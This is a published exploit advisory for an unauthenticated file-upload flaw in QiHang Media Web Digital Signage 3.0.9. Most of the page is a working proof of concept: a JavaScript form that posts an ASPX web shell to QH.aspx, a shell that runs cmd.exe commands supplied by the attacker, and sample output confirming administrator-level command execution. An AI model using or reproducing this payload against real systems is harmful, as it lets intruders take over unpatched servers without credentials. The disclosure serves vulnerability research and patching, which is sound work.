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QiHang Media Web Digital Signage 3.0.9 Remote Code Execution

QiHang Media Web Digital Signage 3.0.9 Remote Code Execution
Posted Aug 13, 2020
Authored by LiquidWorm | Site zeroscience.mk

QiHang Media Web Digital Signage version 3.0.9 suffers from a pre-authentication remote code execution vulnerability.

tags | exploit, remote, web, code execution
SHA-256 | 2d547f40fe9cd960f61a9ab06e633a88224fc123c974b59c97a633cbd5eebdac

QiHang Media Web Digital Signage 3.0.9 Remote Code Execution

Change Mirror Download
<!--

QiHang Media Web (QH.aspx) Digital Signage 3.0.9 (pre-auth) Remote Code Execution


Vendor: Shenzhen Xingmeng Qihang Media Co., Ltd.
Guangzhou Hefeng Automation Technology Co., Ltd.
Product web page: http://www.howfor.com
Affected version: 3.0.9.0

Summary: Digital Signage Software.

Desc: The application suffers from an unauthenticated remote code execution.
The vulnerability is caused due to lack of verification when uploading files
with QH.aspx that can be written in any location by utilizing the 'remotePath'
parameter to traverse through directories. Abusing the upload action and the
'fileToUpload' parameter, an unauthenticated attacker can exploit this to
execute system commands by uploading a malicious ASPX script.

Tested on: Microsoft Windows Server 2012 R2 Datacenter
Microsoft Windows Server 2003 Enterprise Edition
ASP.NET 4.0.30319
HowFor Web Server/5.6.0.0
Microsoft ASP.NET Web QiHang IIS Server


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2020-5582
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5582.php


27.07.2020

-->


<html>
<body>
<script>
function uploadShellPoC()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/192.168.1.74:8090\/QH.aspx", true);
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundaryhbcZX7o0Hw19h3kr");
xhr.setRequestHeader("Accept", "*\/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
xhr.withCredentials = true;
var body = "------WebKitFormBoundaryhbcZX7o0Hw19h3kr\r\n" +
"Content-Disposition: form-data; name=\"fileToUpload\"; filename=\"cmd.aspx\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\x3c%@ Page Language=\"VB\" Debug=\"true\" %\x3e\r\n" +
"\x3c%@ import Namespace=\"system.IO\" %\x3e\r\n" +
"\x3c%@ import Namespace=\"System.Diagnostics\" %\x3e\r\n" +
"\r\n" +
"\x3cscript runat=\"server\"\x3e\r\n" +
"\r\n" +
"Sub RunCmd(Src As Object, E As EventArgs)\r\n" +
" Dim myProcess As New Process()\r\n" +
" Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)\r\n" +
" myProcessStartInfo.UseShellExecute = false\r\n" +
" myProcessStartInfo.RedirectStandardOutput = true\r\n" +
" myProcess.StartInfo = myProcessStartInfo\r\n" +
" myProcessStartInfo.Arguments=xcmd.text\r\n" +
" myProcess.Start()\r\n" +
"\r\n" +
" Dim myStreamReader As StreamReader = myProcess.StandardOutput\r\n" +
" Dim myString As String = myStreamReader.Readtoend()\r\n" +
" myProcess.Close()\r\n" +
" mystring=replace(mystring,\"\x3c\",\"<\")\r\n" +
" mystring=replace(mystring,\"\x3e\",\">\")\r\n" +
" result.text= vbcrlf & \"\x3cpre\x3e\" & mystring & \"\x3c/pre\x3e\"\r\n" +
"End Sub\r\n" +
"\r\n" +
"\x3c/script\x3e\r\n" +
"\r\n" +
"\x3chtml\x3e\r\n" +
"\x3cbody\x3e\r\n" +
"\x3cform runat=\"server\"\x3e\r\n" +
"\x3cp\x3e\x3casp:Label id=\"L_p\" runat=\"server\" width=\"80px\"\x3eProgram\x3c/asp:Label\x3e\r\n" +
"\x3casp:TextBox id=\"xpath\" runat=\"server\" Width=\"300px\"\x3ec:\\windows\\system32\\cmd.exe\x3c/asp:TextBox\x3e\r\n" +
"\x3cp\x3e\x3casp:Label id=\"L_a\" runat=\"server\" width=\"80px\"\x3eArguments\x3c/asp:Label\x3e\r\n" +
"\x3casp:TextBox id=\"xcmd\" runat=\"server\" Width=\"300px\" Text=\"/c net user\"\x3e/c net user\x3c/asp:TextBox\x3e\r\n" +
"\x3cp\x3e\x3casp:Button id=\"Button\" onclick=\"runcmd\" runat=\"server\" Width=\"100px\" Text=\"Run\"\x3e\x3c/asp:Button\x3e\r\n" +
"\x3cp\x3e\x3casp:Label id=\"result\" runat=\"server\"\x3e\x3c/asp:Label\x3e\r\n" +
"\x3c/form\x3e\r\n" +
"\x3c/body\x3e\r\n" +
"\x3c/html\x3e\r\n" +
"------WebKitFormBoundaryhbcZX7o0Hw19h3kr\r\n" +
"Content-Disposition: form-data; name=\"action\"\r\n" +
"\r\n" +
"upload\r\n" +
"------WebKitFormBoundaryhbcZX7o0Hw19h3kr\r\n" +
"Content-Disposition: form-data; name=\"responderId\"\r\n" +
"\r\n" +
"ResourceNewResponder\r\n" +
"------WebKitFormBoundaryhbcZX7o0Hw19h3kr\r\n" +
"Content-Disposition: form-data; name=\"remotePath\"\r\n" +
"\r\n" +
"/opt/resources\r\n" +
"------WebKitFormBoundaryhbcZX7o0Hw19h3kr--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Click" onclick="uploadShellPoC();" />
</form>
</body>
</html>

<!--
JSON response for successful upload:
{
"first": true,
"second": [
"cmd.aspx"
]
}

GET request: http://192.168.1.74:8090/opt/resources/cmd.aspx
Command issued: /c whoami

Response:
robertovolare\administrator
-->
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